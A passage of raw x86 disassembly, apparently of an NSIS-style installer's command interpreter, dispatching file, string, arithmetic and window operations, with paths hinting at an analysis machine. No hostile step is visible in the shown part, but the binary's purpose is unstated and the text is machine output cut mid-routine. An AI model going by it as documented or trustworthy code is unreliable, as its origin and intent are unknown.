		cmp	ecx, ebx
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	eax
		push	ecx
		call	esi	; ShowWindow
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402269:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFF0h	; jumptable 00402146 case 10
		call	sub_403753
		push	[ebp+var_20]
		push	eax
		call	ds:dword_407098	; SetFileAttributesA

loc_40227A:				; CODE XREF: sub_4020E9+362j
					; sub_4020E9+ED3j ...
		test	eax, eax

loc_40227C:				; CODE XREF: sub_4020E9+1215j
		jnz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		jmp	loc_4033A2
; ---------------------------------------------------------------------------

loc_402287:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFF0h	; jumptable 00402146 case 11
		call	sub_403753
		mov	edi, eax
		push	edi
		call	sub_406463
		cmp	[edi], bl
		mov	esi, eax
		jz	short loc_4022D9
		cmp	esi, ebx
		jz	short loc_4022D9

loc_4022A0:				; CODE XREF: sub_4020E9+1EEj
		push	5Ch
		push	esi
		call	sub_4063FB
		mov	esi, eax
		push	edi
		mov	al, [esi]
		mov	[esi], bl
		mov	byte ptr [ebp+arg_0+3],	al
		call	sub_406BAB
		cmp	eax, ebx
		jnz	short loc_4022C7
		push	ebx
		push	edi
		call	ds:dword_407094	; CreateDirectoryA
		test	eax, eax
		jmp	short loc_4022CA
; ---------------------------------------------------------------------------

loc_4022C7:				; CODE XREF: sub_4020E9+1D0j
		test	byte ptr [eax],	10h

loc_4022CA:				; CODE XREF: sub_4020E9+1DCj
		jnz	short loc_4022CF
		inc	[ebp+var_4]

loc_4022CF:				; CODE XREF: sub_4020E9:loc_4022CAj
		mov	al, byte ptr [ebp+arg_0+3]
		mov	[esi], al
		inc	esi
		cmp	al, bl
		jnz	short loc_4022A0

loc_4022D9:				; CODE XREF: sub_4020E9+1B1j
					; sub_4020E9+1B5j
		cmp	[ebp+var_20], ebx
		jz	short loc_4022FC
		push	0FFFFFFE6h
		call	sub_4020D8
		push	edi
		push	offset aCProgramFilesC ; "C:\\Program Files\\Common Files"
		call	sub_4068C9	; lstrcpy
		push	edi
		call	ds:dword_407090	; SetCurrentDirectoryA
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4022FC:				; CODE XREF: sub_4020E9+1F3j
		push	0FFFFFFF5h
		jmp	loc_402EBC
; ---------------------------------------------------------------------------

loc_402303:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 12
		call	sub_403753
		push	eax
		call	sub_406BAB
		jmp	loc_40299C
; ---------------------------------------------------------------------------

loc_402314:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFD0h	; jumptable 00402146 case 16
		call	sub_403753
		push	0FFFFFFDFh
		mov	[ebp+arg_0], eax
		call	sub_403753
		push	[ebp+arg_0]
		mov	esi, offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		mov	[ebp+var_8], eax
		push	esi
		call	sub_4068C9	; lstrcpy
		push	[ebp+var_8]
		call	sub_4068CF	; lstrlen
		push	[ebp+arg_0]
		mov	edi, eax
		call	sub_4068CF	; lstrlen
		add	edi, eax
		cmp	edi, 3FDh
		jge	short loc_402366
		mov	edi, ds:dword_40708C
		push	offset asc_409044 ; "->"
		push	esi
		call	edi	; lstrcat
		push	[ebp+var_8]
		push	esi
		call	edi	; lstrcat

loc_402366:				; CODE XREF: sub_4020E9+267j
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	ds:dword_407088	; MoveFileA
		test	eax, eax
		jz	short loc_40237D
		push	0FFFFFFE3h
		jmp	loc_402EBC
; ---------------------------------------------------------------------------

loc_40237D:				; CODE XREF: sub_4020E9+28Bj
		cmp	[ebp+var_1C], ebx
		jz	loc_4033A2
		push	[ebp+arg_0]
		call	sub_406BAB
		test	eax, eax
		jz	loc_4033A2
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_406606
		push	0FFFFFFE4h
		jmp	loc_402EBC
; ---------------------------------------------------------------------------

loc_4023A8:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 17
		call	sub_403753
		lea	ecx, [ebp+var_34]
		mov	esi, 400h
		push	ecx
		push	edi
		push	esi
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_407084	; GetFullPathNameA
		test	eax, eax
		jz	short loc_4023ED
		mov	eax, [ebp+var_34]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4023F6
		cmp	[eax], bl
		jz	short loc_4023F6
		push	[ebp+arg_0]
		call	sub_406BAB
		cmp	eax, ebx
		jz	short loc_4023ED
		add	eax, 2Ch
		push	eax
		push	[ebp+var_34]
		call	sub_4068C9	; lstrcpy
		jmp	short loc_4023F6
; ---------------------------------------------------------------------------

loc_4023ED:				; CODE XREF: sub_4020E9+2DCj
					; sub_4020E9+2F4j
		mov	[ebp+var_4], 1
		mov	[edi], bl

loc_4023F6:				; CODE XREF: sub_4020E9+2E4j
					; sub_4020E9+2E8j ...
		cmp	[ebp+var_1C], ebx
		jnz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	esi
		push	edi
		push	edi
		call	ds:dword_407080	; GetShortPathNameA
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40240D:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFFFh	; jumptable 00402146 case 18
		call	sub_403753
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	esi
		push	400h
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_40707C	; SearchPathA
		test	eax, eax

loc_402429:				; CODE XREF: sub_4020E9+F13j
		jnz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66

loc_40242F:				; CODE XREF: sub_4020E9+1267j
					; sub_4020E9+1283j
		mov	[ebp+var_4], 1
		mov	[esi], bl
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40243D:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFEFh	; jumptable 00402146 case 19
		call	sub_403753
		push	eax
		push	esi
		call	sub_4065BE
		jmp	loc_40227A
; ---------------------------------------------------------------------------

loc_402450:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	31h		; jumptable 00402146 case 20
		call	sub_403753
		mov	esi, eax
		mov	eax, [ebp+var_24]
		and	eax, 7
		push	esi
		mov	[ebp+var_34], esi
		mov	[ebp+arg_0], eax
		call	sub_40643C
		push	esi
		mov	esi, offset aCall ; "Call"
		test	eax, eax
		jz	short loc_40247D
		push	esi
		call	sub_4068C9	; lstrcpy
		jmp	short loc_402495
; ---------------------------------------------------------------------------

loc_40247D:				; CODE XREF: sub_4020E9+38Aj
		push	offset aCProgramFilesC ; "C:\\Program Files\\Common Files"
		push	esi
		call	sub_4068C9	; lstrcpy
		push	eax
		call	sub_4063CF
		push	eax
		call	ds:dword_40708C	; lstrcat

loc_402495:				; CODE XREF: sub_4020E9+392j
		push	esi
		call	sub_406B09
		mov	edi, offset aCDocume1SriU_0 ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...

loc_4024A0:				; CODE XREF: sub_4020E9+46Dj
		cmp	[ebp+arg_0], 3
		jl	short loc_4024D7
		push	esi
		call	sub_406BAB
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_4024C2
		lea	ecx, [ebp+var_18]
		add	eax, 14h
		push	ecx
		push	eax
		call	ds:dword_407078	; CompareFileTime
		mov	ecx, eax

loc_4024C2:				; CODE XREF: sub_4020E9+3C7j
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFFDh
		or	eax, 80000000h
		and	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+arg_0], eax

loc_4024D7:				; CODE XREF: sub_4020E9+3BBj
		cmp	[ebp+arg_0], ebx
		jnz	short loc_4024ED
		push	esi
		call	ds:dword_407074	; GetFileAttributesA
		and	al, 0FEh
		push	eax
		push	esi
		call	ds:dword_407098	; SetFileAttributesA

loc_4024ED:				; CODE XREF: sub_4020E9+3F1j
		xor	eax, eax
		cmp	[ebp+arg_0], 1
		setnz	al
		inc	eax
		push	eax
		push	40000000h
		push	esi
		call	sub_40658F
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	loc_402591
		cmp	[ebp+arg_0], ebx
		jnz	short loc_402567
		push	offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		push	edi
		call	sub_4068C9	; lstrcpy
		push	esi
		push	offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		call	sub_4068C9	; lstrcpy
		push	[ebp+var_10]
		push	offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		call	sub_4068D5
		push	edi
		push	offset a7b4dd627E55543 ; "{7B4DD627-E555-4373-AA84-4E5241613B7A}"
		call	sub_4068C9	; lstrcpy
		mov	eax, [ebp+var_24]
		sar	eax, 3
		push	eax
		push	offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		call	sub_406202
		sub	eax, 4
		jz	loc_4024A0
		dec	eax
		jz	short loc_402586
		push	esi
		push	0FFFFFFFAh
		jmp	loc_40214F
; ---------------------------------------------------------------------------

loc_402567:				; CODE XREF: sub_4020E9+429j
		push	[ebp+var_34]
		push	0FFFFFFE2h
		call	sub_405CAC
		cmp	[ebp+arg_0], 2
		jnz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		inc	dword_42F0A8
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402586:				; CODE XREF: sub_4020E9+474j
		inc	dword_42F0A8
		jmp	loc_4035F1
; ---------------------------------------------------------------------------

loc_402591:				; CODE XREF: sub_4020E9+420j
		push	[ebp+var_34]
		push	0FFFFFFEAh
		call	sub_405CAC
		inc	dword_4092C0
		push	ebx
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_1C]
		call	sub_403B73
		dec	dword_4092C0
		cmp	[ebp+var_18], 0FFFFFFFFh
		mov	edi, eax
		jnz	short loc_4025C2
		cmp	[ebp+var_14], 0FFFFFFFFh
		jz	short loc_4025D4

loc_4025C2:				; CODE XREF: sub_4020E9+4D1j
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	[ebp+var_8]
		call	ds:dword_407070	; SetFileTime

loc_4025D4:				; CODE XREF: sub_4020E9+4D7j
		push	[ebp+var_8]
		call	ds:dword_40706C	; CloseHandle
		cmp	edi, ebx
		jge	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		cmp	edi, 0FFFFFFFEh
		jnz	short loc_4025FE
		push	0FFFFFFE9h
		push	esi
		call	sub_4068D5
		push	[ebp+var_34]
		push	esi
		call	ds:dword_40708C	; lstrcat
		jmp	short loc_402606
; ---------------------------------------------------------------------------

loc_4025FE:				; CODE XREF: sub_4020E9+4FFj
		push	0FFFFFFEEh
		push	esi
		call	sub_4068D5

loc_402606:				; CODE XREF: sub_4020E9+513j
		push	100010h
		push	esi
		jmp	loc_402F63
; ---------------------------------------------------------------------------

loc_402611:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 21
		jmp	short loc_402648
; ---------------------------------------------------------------------------

loc_402614:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	31h		; jumptable 00402146 case 22
		call	sub_403753
		push	[ebp+var_24]
		push	eax
		call	sub_406202
		cmp	eax, ebx
		jz	loc_4033A2
		cmp	eax, [ebp+var_1C]
		jz	loc_402769
		cmp	eax, [ebp+var_14]
		jnz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		mov	eax, [ebp+var_10]
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_402646:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	0FFFFFFF0h	; jumptable 00402146 case 23

loc_402648:				; CODE XREF: sub_4020E9+529j
		call	sub_403753
		push	[ebp+var_20]
		push	eax
		call	sub_406253
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_40265B:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	1		; jumptable 00402146 case 24
		call	sub_403753
		push	eax
		call	sub_4068CF	; lstrlen
		jmp	loc_4031F0
; ---------------------------------------------------------------------------

loc_40266D:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	2		; jumptable 00402146 case 25
		call	sub_403736
		push	3
		mov	[ebp+arg_0], eax
		call	sub_403736
		push	1
		mov	edi, eax
		call	sub_403753
		cmp	[ebp+var_1C], ebx
		mov	[ebp+var_30], eax
		mov	[esi], bl
		jz	short loc_40269A
		cmp	[ebp+arg_0], ebx
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66

loc_40269A:				; CODE XREF: sub_4020E9+5A6j
		push	eax
		call	sub_4068CF	; lstrlen
		cmp	edi, ebx
		jge	short loc_4026AC
		add	edi, eax
		js	loc_4035E8	; default
					; jumptable 00402146 cases 65,66

loc_4026AC:				; CODE XREF: sub_4020E9+5B9j
		cmp	edi, eax
		jle	short loc_4026B2
		mov	edi, eax

loc_4026B2:				; CODE XREF: sub_4020E9+5C5j
		mov	eax, [ebp+var_30]
		add	eax, edi
		push	eax
		push	esi
		call	sub_4068C9	; lstrcpy
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		jge	short loc_4026DA
		push	esi
		call	sub_4068CF	; lstrlen
		add	edi, eax
		jns	short loc_4026DA
		mov	[ebp+arg_0], ebx
		mov	edi, ebx

loc_4026DA:				; CODE XREF: sub_4020E9+5E0j
					; sub_4020E9+5EAj
		cmp	edi, 400h
		jge	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		mov	[edi+esi], bl
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4026EE:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	20h		; jumptable 00402146 case 26
		call	sub_403753
		push	31h
		mov	esi, eax
		call	sub_403753
		push	eax
		push	esi
		call	ds:dword_407068	; lstrcmpi
		test	eax, eax
		jnz	short loc_402769

loc_40270A:				; CODE XREF: sub_4020E9+678j
					; sub_4020E9:loc_402771j ...
		mov	eax, [ebp+var_1C]
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_402712:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		xor	edi, edi	; jumptable 00402146 case 27
		inc	edi
		push	edi
		call	sub_403753
		cmp	[ebp+var_1C], ebx
		push	400h
		push	esi
		push	eax
		jz	short loc_402738
		call	ds:dword_407064	; GetEnvironmentVariableA
		test	eax, eax
		jnz	short loc_40273E
		mov	[ebp+var_4], edi
		mov	[esi], bl
		jmp	short loc_40273E
; ---------------------------------------------------------------------------

loc_402738:				; CODE XREF: sub_4020E9+63Cj
		call	ds:dword_407060	; ExpandEnvironmentStringsA

loc_40273E:				; CODE XREF: sub_4020E9+646j
					; sub_4020E9+64Dj
		mov	[esi+3FFh], bl
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402749:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 28
		call	sub_403736
		push	1
		mov	esi, eax
		call	sub_403736
		cmp	[ebp+var_10], ebx
		jnz	short loc_402765
		cmp	esi, eax
		jl	short loc_402769
		jle	short loc_40270A
		jmp	short loc_402773
; ---------------------------------------------------------------------------

loc_402765:				; CODE XREF: sub_4020E9+672j
		cmp	esi, eax
		jnb	short loc_402771

loc_402769:				; CODE XREF: sub_4020E9+546j
					; sub_4020E9+61Fj ...
		mov	eax, [ebp+var_18]
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_402771:				; CODE XREF: sub_4020E9+67Ej
		jbe	short loc_40270A

loc_402773:				; CODE XREF: sub_4020E9+67Aj
		mov	eax, [ebp+var_14]
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_40277B:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	1		; jumptable 00402146 case 29
		call	sub_403736
		push	2
		mov	edi, eax
		call	sub_403736
		mov	ecx, eax
		mov	eax, [ebp+var_18]
		cmp	eax, 0Ch	; switch 13 cases
		ja	short loc_402802 ; default
		jmp	ds:off_403702[eax*4] ; switch jump

loc_40279C:				; DATA XREF: .text:off_403702o
		add	edi, ecx	; jumptable 00402795 case 0
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027A0:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		sub	edi, ecx	; jumptable 00402795 case 1
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027A4:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		imul	ecx, edi	; jumptable 00402795 case 2
		mov	edi, ecx
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027AB:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		cmp	ecx, ebx	; jumptable 00402795 case 3
		jz	short loc_4027F1
		mov	eax, edi
		cdq
		idiv	ecx

loc_4027B4:				; CODE XREF: sub_4020E9+6E2j
		mov	edi, eax
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027B8:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		or	edi, ecx	; jumptable 00402795 case 4
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027BC:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		and	edi, ecx	; jumptable 00402795 case 5
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027C0:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		xor	edi, ecx	; jumptable 00402795 case 6
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027C4:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		xor	eax, eax	; jumptable 00402795 case 7
		cmp	edi, ebx
		setz	al
		jmp	short loc_4027B4
; ---------------------------------------------------------------------------

loc_4027CD:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		cmp	edi, ebx	; jumptable 00402795 case 8
		jnz	short loc_4027DF
		jmp	short loc_4027DB
; ---------------------------------------------------------------------------

loc_4027D3:				; CODE XREF: sub_4020E9+6F0j
					; sub_4020E9+6F4j
		xor	edi, edi
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027D7:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		cmp	edi, ebx	; jumptable 00402795 case 9
		jz	short loc_4027D3

loc_4027DB:				; CODE XREF: sub_4020E9+6E8j
		cmp	ecx, ebx
		jz	short loc_4027D3

loc_4027DF:				; CODE XREF: sub_4020E9+6E6j
		xor	edi, edi
		inc	edi
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027E4:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		cmp	ecx, ebx	; jumptable 00402795 case 10
		jz	short loc_4027F1
		mov	eax, edi
		cdq
		idiv	ecx
		mov	edi, edx
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027F1:				; CODE XREF: sub_4020E9+6C4j
					; sub_4020E9+6FDj
		xor	edi, edi
		mov	[ebp+var_4], 1
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_4027FC:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		shl	edi, cl		; jumptable 00402795 case 11
		jmp	short loc_402802 ; default
; ---------------------------------------------------------------------------

loc_402800:				; CODE XREF: sub_4020E9+6ACj
					; DATA XREF: .text:off_403702o
		sar	edi, cl		; jumptable 00402795 case 12

loc_402802:				; CODE XREF: sub_4020E9+6AAj
					; sub_4020E9+6B5j ...
		push	edi		; default
		jmp	loc_402235
; ---------------------------------------------------------------------------

loc_402808:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	1		; jumptable 00402146 case 30
		call	sub_403753
		push	2
		mov	edi, eax
		call	sub_403736
		push	eax
		push	edi
		push	esi
		call	ds:dword_40721C	; wsprintfA
		add	esp, 0Ch
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402829:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		mov	eax, [ebp+var_1C] ; jumptable 00402146 case 31
		mov	edi, dword_40C5C8
		cmp	eax, ebx
		jz	short loc_40287A

loc_402836:				; CODE XREF: sub_4020E9+75Aj
		dec	eax
		cmp	edi, ebx
		jz	loc_402F55
		mov	edi, [edi]
		cmp	eax, ebx
		jnz	short loc_402836
		cmp	edi, ebx
		jz	loc_402F55
		add	edi, 4
		mov	esi, offset aCall ; "Call"
		push	edi
		push	esi
		call	sub_4068C9	; lstrcpy
		mov	eax, dword_40C5C8
		add	eax, 4
		push	eax
		push	edi
		call	sub_4068C9	; lstrcpy
		mov	eax, dword_40C5C8
		push	esi
		add	eax, 4
		push	eax
		jmp	loc_40337A
; ---------------------------------------------------------------------------

loc_40287A:				; CODE XREF: sub_4020E9+74Bj
		cmp	edx, ebx
		jz	short loc_4028A3
		cmp	edi, ebx
		jz	loc_4033A2
		lea	eax, [edi+4]
		push	eax
		push	esi
		call	sub_4068C9	; lstrcpy
		mov	eax, [edi]
		push	edi
		mov	dword_40C5C8, eax

loc_402898:				; CODE XREF: sub_4020E9+BC2j
		call	ds:dword_4070BC	; GlobalFree
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4028A3:				; CODE XREF: sub_4020E9+793j
		push	404h
		call	sub_406244
		push	[ebp+var_24]
		mov	esi, eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4068D5
		mov	eax, dword_40C5C8
		mov	[esi], eax
		mov	dword_40C5C8, esi
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4028CD:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	33h		; jumptable 00402146 cases 32,33
		call	sub_403753
		push	44h
		mov	[ebp+var_8], eax
		call	sub_403753
		test	byte ptr [ebp+var_10], 1
		mov	[ebp+arg_0], eax
		jnz	short loc_4028F2
		push	[ebp+var_8]
		call	sub_406840
		mov	[ebp+var_8], eax

loc_4028F2:				; CODE XREF: sub_4020E9+7FCj
		test	byte ptr [ebp+var_10], 2
		jnz	short loc_402903
		push	[ebp+arg_0]
		call	sub_406840
		mov	[ebp+arg_0], eax

loc_402903:				; CODE XREF: sub_4020E9+80Dj
		cmp	[ebp+var_28], 21h
		push	1
		jnz	short loc_40294F
		call	sub_403736
		push	2
		mov	edi, eax
		call	sub_403736
		mov	ecx, [ebp+var_10]
		sar	ecx, 2
		jz	short loc_40293F
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		push	ebx
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	eax
		push	edi
		call	ds:dword_407220	; SendMessageTimeoutA
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40297E
; ---------------------------------------------------------------------------

loc_40293F:				; CODE XREF: sub_4020E9+836j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	eax
		push	edi
		call	ds:dword_407248	; SendMessageA
		jmp	short loc_40297B
; ---------------------------------------------------------------------------

loc_40294F:				; CODE XREF: sub_4020E9+820j
		call	sub_403753
		push	12h
		mov	edi, eax
		call	sub_403753
		mov	cl, [eax]
		neg	cl
		sbb	ecx, ecx
		and	ecx, eax
		mov	al, [edi]
		neg	al
		sbb	eax, eax
		push	ecx
		and	eax, edi
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_8]
		call	ds:dword_407224	; FindWindowExA

loc_40297B:				; CODE XREF: sub_4020E9+864j
		mov	[ebp+var_34], eax

loc_40297E:				; CODE XREF: sub_4020E9+854j
		cmp	[ebp+var_24], ebx
		jl	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	[ebp+var_34]
		jmp	loc_402235
; ---------------------------------------------------------------------------

loc_40298F:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 34
		call	sub_403736
		push	eax
		call	ds:dword_407228	; IsWindow

loc_40299C:				; CODE XREF: sub_4020E9+226j
		test	eax, eax
		jz	loc_40270A
		mov	eax, [ebp+var_20]
		jmp	loc_4035F3	; jumptable 00402146 case 2
; ---------------------------------------------------------------------------

loc_4029AC:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	2		; jumptable 00402146 case 35
		call	sub_403736
		push	eax
		push	1
		call	sub_403736
		push	eax
		call	ds:dword_40722C	; GetDlgItem
		jmp	loc_4031F0
; ---------------------------------------------------------------------------

loc_4029C7:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		mov	eax, dword_42F068 ; jumptable 00402146 case 36
		add	eax, edx
		push	eax
		push	0FFFFFFEBh
		push	ebx
		call	sub_403736
		push	eax
		call	ds:dword_407230	; SetWindowLongA
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_4029E3:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	edx		; jumptable 00402146 case 37
		push	[ebp+var_8]
		call	ds:dword_40722C	; GetDlgItem
		mov	esi, eax
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	ds:dword_407254	; GetClientRect
		mov	eax, [ebp+var_34]
		push	10h
		imul	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_38]
		imul	eax, [ebp+var_1C]
		push	eax
		push	ebx
		push	ebx
		call	sub_403753
		push	eax
		push	ebx
		call	ds:dword_407234	; LoadImageA
		push	eax
		push	ebx
		push	172h
		push	esi
		call	ds:dword_407248	; SendMessageA
		cmp	eax, ebx
		jz	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
		push	eax
		call	ds:dword_407040	; DeleteObject
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402A3D:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	48h		; jumptable 00402146 case 38
		push	5Ah
		push	[ebp+var_8]
		call	ds:dword_407238	; GetDC
		push	eax
		call	ds:dword_40703C	; GetDeviceCaps
		push	eax
		push	2
		call	sub_403736
		push	eax
		call	ds:dword_40710C	; MulDiv
		neg	eax
		push	3
		mov	dword_40A988, eax
		call	sub_403736
		mov	dword_40A998, eax
		mov	al, byte ptr [ebp+var_14]
		push	[ebp+var_20]
		mov	cl, al
		and	cl, 1
		mov	byte_40A99F, 1
		mov	byte_40A99C, cl
		mov	cl, al
		and	cl, 2
		and	al, 4
		push	offset dword_40A9A4
		mov	byte_40A99D, cl
		mov	byte_40A99E, al
		call	sub_4068D5
		push	offset dword_40A988
		call	ds:dword_407048	; CreateFontIndirectA
		jmp	loc_4031F0
; ---------------------------------------------------------------------------

loc_402AB7:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 39
		call	sub_403736
		push	1
		mov	esi, eax
		call	sub_403736
		cmp	[ebp+var_18], ebx
		push	eax
		push	esi
		jnz	short loc_402AD8
		call	ds:dword_407218	; ShowWindow
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402AD8:				; CODE XREF: sub_4020E9+9E2j
		call	ds:dword_40723C	; EnableWindow
		jmp	loc_4035E8	; default
					; jumptable 00402146 cases 65,66
; ---------------------------------------------------------------------------

loc_402AE3:				; CODE XREF: sub_4020E9+5Dj
					; DATA XREF: .text:off_4035FAo
		push	ebx		; jumptable 00402146 case 40
		call	sub_403753
		push	31h
		mov	esi, eax
		call	sub_403753
		push	22h
		mov	ebx, eax
		call	sub_403753
		push	ebx
		push	esi
		push	offset aSS	; "%s %s"
		push	offset aCDocume1SriUse ; "C:\\DOCUME~1\\SRI-user\\LOCALS~1\\Temp\\nsy2"...
		mov	edi, eax
		call	ds:dword_40721C	; wsprintfA
		add	esp, 10h
		push	0FFFFFFECh
		call	sub_4020D8
		mov	al, [edi]
		push	[ebp+var_18]
		neg	al
		sbb	eax, eax
		push	offset aCProgramFilesC ; "C:\\Program Files\\Common Files"
		and	eax, edi
		push	eax
		mov	al, [esi]
